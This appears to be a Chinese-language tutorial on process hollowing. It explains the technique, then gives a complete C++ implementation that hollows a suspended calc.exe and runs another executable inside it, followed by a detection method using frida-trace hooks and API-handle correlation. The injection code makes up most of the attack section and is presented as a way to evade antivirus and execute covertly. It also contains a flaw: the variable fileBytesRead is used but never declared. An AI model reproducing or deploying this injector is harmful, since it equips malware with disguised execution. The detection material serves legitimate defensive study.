概述
进程掏空(Process Hollowing)是一种代码注入技术,攻击者创建一个处于挂起状态的新进程,取消映射其原始映像,替换为恶意代码后恢复执行。该技术常用于恶意软件免杀和隐蔽执行。
参考资料
[toc]
技术原理
进程掏空本质上是在手动操作 PE 文件的加载过程:
- 创建一个合法进程(如
calc.exe、svchost.exe) - 将其内存中的原始映像「掏空」(Unmap)
- 写入恶意的 PE 映像
- 修改入口点后恢复执行
从外部看,进程名和路径都是合法的,但实际执行的却是恶意代码。
执行流程
┌─────────────────────────────────────────────────────────────┐
│ Process Hollowing 流程 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. CreateProcessA(CREATE_SUSPENDED) │
│ ↓ │
│ 创建挂起状态的合法进程(如 calc.exe) │
│ │
│ 2. NtUnmapViewOfSection() │
│ ↓ │
│ 取消映射原始 PE 映像(掏空) │
│ │
│ 3. VirtualAllocEx() │
│ ↓ │
│ 在目标进程中分配新内存 │
│ │
│ 4. WriteProcessMemory() │
│ ↓ │
│ 写入恶意 PE 头、节区、修复重定位 │
│ │
│ 5. SetThreadContext() │
│ ↓ │
│ 修改 EAX/RCX 为恶意代码入口点 │
│ │
│ 6. ResumeThread() │
│ ↓ │
│ 恢复线程执行恶意代码 │
│ │
└─────────────────────────────────────────────────────────────┘
关键 API 说明
| 步骤 | API | 功能 |
|---|---|---|
| 创建进程 | CreateProcessA | 创建挂起状态的目标进程 |
| 掏空进程 | NtUnmapViewOfSection | 卸载原始 PE 映像(核心) |
| 分配内存 | VirtualAllocEx | 在目标进程分配可执行内存 |
| 写入数据 | WriteProcessMemory | 写入 PE 头、节区、重定位表 |
| 修改上下文 | GetThreadContext / SetThreadContext | 获取/设置线程上下文(入口点) |
| 恢复执行 | ResumeThread | 恢复挂起的线程 |
实现代码
说明
以下代码以
calc.exe为目标进程,注入HelloWorld.exe。在 Win10 上测试稳定,Win11 可能存在兼容性问题。
#include <iostream>
#include <Windows.h>
#include <winternl.h>
const char* sourceProcess = "c:\\windows\\syswow64\\calc.exe";
const char* targetProcess = "D:\\tmp\\HelloWorld.exe";
using NtUnmapViewOfSection = NTSTATUS(WINAPI*)(HANDLE, PVOID);
typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
typedef NTSTATUS(NTAPI *pfnNtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
pfnNtQueryInformationProcess gNtQueryInformationProcess;
HMODULE sm_LoadNTDLLFunctions()
{
HMODULE hNtDll = LoadLibrary(L"ntdll.dll");
if (hNtDll == NULL) return NULL;
gNtQueryInformationProcess = (pfnNtQueryInformationProcess)
GetProcAddress(hNtDll, "NtQueryInformationProcess");
if (gNtQueryInformationProcess == NULL) {
FreeLibrary(hNtDll);
return NULL;
}
return hNtDll;
}
int main()
{
// 1. 创建挂起状态的目标进程
LPSTARTUPINFOA si = new STARTUPINFOA();
LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
PROCESS_BASIC_INFORMATION *pbi = new PROCESS_BASIC_INFORMATION();
DWORD returnLenght = 0;
CreateProcessA(NULL, (LPSTR)sourceProcess, NULL, NULL, TRUE,
CREATE_SUSPENDED, NULL, NULL, si, pi);
HANDLE destProcess = pi->hProcess;
// 2. 获取目标进程 PEB 中的 ImageBase 地址
sm_LoadNTDLLFunctions();
gNtQueryInformationProcess(destProcess, ProcessBasicInformation,
pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
DWORD pebImageBaseOffset = (DWORD)pbi->PebBaseAddress + 8;
LPVOID destImageBase = 0;
SIZE_T bytesRead = NULL;
ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset,
&destImageBase, 4, &bytesRead);
// 3. 读取恶意 PE 文件
HANDLE sourceFile = CreateFileA(targetProcess, GENERIC_READ, NULL, NULL,
OPEN_ALWAYS, NULL, NULL);
DWORD sourceFileSize = GetFileSize(sourceFile, NULL);
LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, sourceFileSize);
ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL);
// 4. 获取恶意 PE 的映像大小
PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)(
(DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew);
SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage;
// 5. 掏空目标进程(核心步骤)
NtUnmapViewOfSection myNtUnmapViewOfSection =
(NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"),
"NtUnmapViewOfSection"));
myNtUnmapViewOfSection(destProcess, destImageBase);
// 6. 分配新内存并写入 PE
LPVOID newDestImageBase = VirtualAllocEx(destProcess, destImageBase,
sourceImageSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
destImageBase = newDestImageBase;
DWORD deltaImageBase = (DWORD)destImageBase -
sourceImageNTHeaders->OptionalHeader.ImageBase;
sourceImageNTHeaders->OptionalHeader.ImageBase = (DWORD)destImageBase;
// 写入 PE 头
WriteProcessMemory(destProcess, newDestImageBase, sourceFileBytesBuffer,
sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, NULL);
// 7. 写入各个节区
PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)(
(DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew +
sizeof(IMAGE_NT_HEADERS32));
for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
{
PVOID destinationSectionLocation = (PVOID)(
(DWORD)destImageBase + sourceImageSection->VirtualAddress);
PVOID sourceSectionLocation = (PVOID)(
(DWORD)sourceFileBytesBuffer + sourceImageSection->PointerToRawData);
WriteProcessMemory(destProcess, destinationSectionLocation,
sourceSectionLocation, sourceImageSection->SizeOfRawData, NULL);
sourceImageSection++;
}
// 8. 修复重定位表
IMAGE_DATA_DIRECTORY relocationTable =
sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
sourceImageSection = (PIMAGE_SECTION_HEADER)(
(DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew +
sizeof(IMAGE_NT_HEADERS32));
for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
{
BYTE* relocSectionName = (BYTE*)".reloc";
if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0) {
sourceImageSection++;
continue;
}
DWORD sourceRelocationTableRaw = sourceImageSection->PointerToRawData;
DWORD relocationOffset = 0;
while (relocationOffset < relocationTable.Size) {
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(
(DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
relocationOffset += sizeof(BASE_RELOCATION_BLOCK);
DWORD relocationEntryCount = (relocationBlock->BlockSize -
sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(
(DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
for (DWORD y = 0; y < relocationEntryCount; y++)
{
relocationOffset += sizeof(BASE_RELOCATION_ENTRY);
if (relocationEntries[y].Type == 0) continue;
DWORD patchAddress = relocationBlock->PageAddress +
relocationEntries[y].Offset;
DWORD patchedBuffer = 0;
ReadProcessMemory(destProcess,
(LPCVOID)((DWORD)destImageBase + patchAddress),
&patchedBuffer, sizeof(DWORD), &bytesRead);
patchedBuffer += deltaImageBase;
WriteProcessMemory(destProcess,
(PVOID)((DWORD)destImageBase + patchAddress),
&patchedBuffer, sizeof(DWORD), fileBytesRead);
}
}
}
// 9. 修改入口点并恢复执行
LPCONTEXT context = new CONTEXT();
context->ContextFlags = CONTEXT_INTEGER;
GetThreadContext(pi->hThread, context);
DWORD patchedEntryPoint = (DWORD)destImageBase +
sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint;
context->Eax = patchedEntryPoint;
SetThreadContext(pi->hThread, context);
ResumeThread(pi->hThread);
return 0;
}效果展示
- 任务栏显示的是
calc.exe的图标 - 实际执行的是
HelloWorld.exe的代码 - Process Explorer 查看加载模块,看不到注入的映像
- VMMap 查看 VAD 也无法发现异常
检测难度
从内存直观取证较为困难,需要通过 API 调用序列关联检测。
检测思路
威胁图关联检测
核心思想:将进程句柄和线程句柄与 API 调用实体关联
进程掏空的关键特征:
CreateProcessA → 返回 process_handle, thread_handle
↓
NtUnmapViewOfSection(process_handle) → 同一 handle
↓
VirtualAllocEx(process_handle) → 同一 handle
↓
WriteProcessMemory(process_handle) → 同一 handle
↓
SetThreadContext(thread_handle) → 同一 handle
↓
ResumeThread(thread_handle) → 同一 handle
基于 Frida 的检测实现
frida-trace -i "VirtualAllocEx" -i "NtUnmapViewOfSection" \
-i "ResumeThread" -i "SetThreadContext" \
-i "CreateProcessA" -f process_hollowing_test.exeFrida Hook 脚本示例:
// CreateProcessA.js
onEnter(log, args, state) {
log('CreateProcessA()');
log(' CMD line: ' + Memory.readUtf8String(args[1]));
this.arg10 = args[9];
},
onLeave(log, retval, state) {
var process_addr = Memory.readPointer(this.arg10);
var thread_addr = Memory.readPointer(this.arg10.add(4));
log(' process handle: ' + process_addr.toInt32() +
' thread handle: ' + thread_addr.toInt32());
}
// NtUnmapViewOfSection.js
onEnter(log, args, state) {
log('NtUnmapViewOfSection()');
log(' process handle: ' + args[0].toInt32());
log(' process addr: ' + args[1]);
}
// VirtualAllocEx.js
onEnter(log, args, state) {
log('VirtualAllocEx()');
log(' process handle: ' + args[0].toInt32());
}
// SetThreadContext.js
onEnter(log, args, state) {
log('SetThreadContext()');
log(' thread handle: ' + args[0].toInt32());
}
// ResumeThread.js
onEnter(log, args, state) {
log('ResumeThread()');
log(' thread handle: ' + args[0].toInt32());
}检测结果示例:
8 ms CreateProcessA()
8 ms | CMD line: c:\windows\syswow64\calc.exe
18 ms | process handle: 368 thread handle: 356
19 ms NtUnmapViewOfSection()
19 ms | process handle: 368
19 ms | process addr: 0xbe0000
19 ms VirtualAllocEx()
19 ms | process handle: 368
22 ms SetThreadContext()
22 ms | thread handle: 356
22 ms ResumeThread()
22 ms | thread handle: 356
可以看到所有操作都关联到同一个进程句柄(368)和线程句柄(356),形成完整的攻击链。
检测要点
通过威胁图将
CreateProcessA返回的句柄与后续 API 调用关联,可以准确识别进程掏空行为。
相关开源项目
- adamhlt/Process-Hollowing - C++ 实现的进程掏空(支持 x86/x64)